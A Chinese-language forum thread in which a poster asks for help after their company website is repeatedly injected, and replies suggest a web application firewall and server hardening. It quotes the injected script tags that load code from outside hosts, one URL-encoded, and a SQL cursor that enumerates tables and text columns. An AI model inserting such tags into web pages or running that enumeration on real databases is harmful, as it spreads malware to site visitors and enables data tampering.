很近公司的网站老是被注入js代码,而且情况还很严重,希望高手门帮忙解决一下
被注入的情况分为两种:
1.sql数据库内容被注入了,数据库中部分字符串字段后面加上"<script src=http://8889.ss.la></script>类似的js代码,虽然我通过命令把内容改过来了,可是几天后又被注入了,我在网上看了很多解决办法都没有效果,
我看有一个朋友是这样说的:
彻底杜绝SQL注入
1.不要使用sa用户连接数据库
2、新建一个public权限数据库用户,并用这个用户访问数据库
3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限
4、[用户]用户名称-> 右键-属性-权限-在sysobjects与syscolumns上面打“×”
5、通过以下代码检测(失败表示权限正确,如能显示出来则表明权限太高):
DECLARE @T varchar(255),
@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
Select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype= 'u ' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN print @c
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
但这样操作之后,就不能对数据库的表进行查询了,不知道还有那个高手有高招,帮忙解决一下,
2.还有就是公司的页面文件也经常被注入js代码,特别是文件文件是index,login等类型的网页文件被注入的几率最好,被注入后网页文件后面就多了一个<script src=http://%78%74%72%61%64%65%73%2E%63%6F%6D%2E%63%6E></script><script src=http://%78%74%72%61%64%65%73%2E%63%6F%6D%2E%63%6E></script>类似的代码,被注入的时间大多数都在星期6和星期天的午夜时间。
这些可能是网站被挂马了,可是杀毒软件查不出来,网页文件太多了,根本找不到木马程序,希望高手能帮帮看一下,小弟感激不尽
2、找文件,有个方法推荐下:
http://www.cnblogs.com/downmoon/archive/2009/08/20/1550427.html
有很多可能:sql注入或ftp、第三方控件如文本编辑器漏洞等都有可能。
对于数据库的盲注,用你的方法应该能解决,但其他注入方式不能完全避免。
你可以考虑增加一个应用程序防火墙,比如WebKnight(下载地址:http://aqtronix.com/downloads/WebKnight/2008.09.02/WebKnight.zip),来建立一个初步的防御系统。正好最近根据自己的经历写了一篇文章来描述如何使用WebKnight来拦截SQL注入:http://www.cnblogs.com/zhubo/archive/2009/09/06/Thinking_SQL_Injection_Protection_and_Restoring.html,你可以参考一下。
另外,针对WebServer文件的篡改,这是个最严重的问题,你应该
最后,给你几条WebServer安全配置建议:
右击网上邻居-属性-右击本地连接-属性-双击Internet协议-高级-Wins-禁用TCP/IP上的NETBIOS
Computer Browser:维护网络计算机更新
Distributed File System: 局域网管理共享文件
Distributed linktracking client:用于局域网更新连接信息
Error reporting service:禁止发送错误报告
Microsoft Search:提供快速的单词搜索
NTLMSecuritysupportprovide:telnet服务和Microsoft Search用的
PrintSpooler:如果没有打印机可禁用
Remote Registry:禁止远程修改注册表
Remote Desktop Help Session Manager:禁止远程协助
推荐的要审核的项目是:
登录事件 成功 失败
账户登录事件 成功 失败
系统事件 成功 失败
策略更改 成功 失败
对象访问 失败
目录服务访问 失败
特权使用 失败
学习了。。。。安全无小事
还好!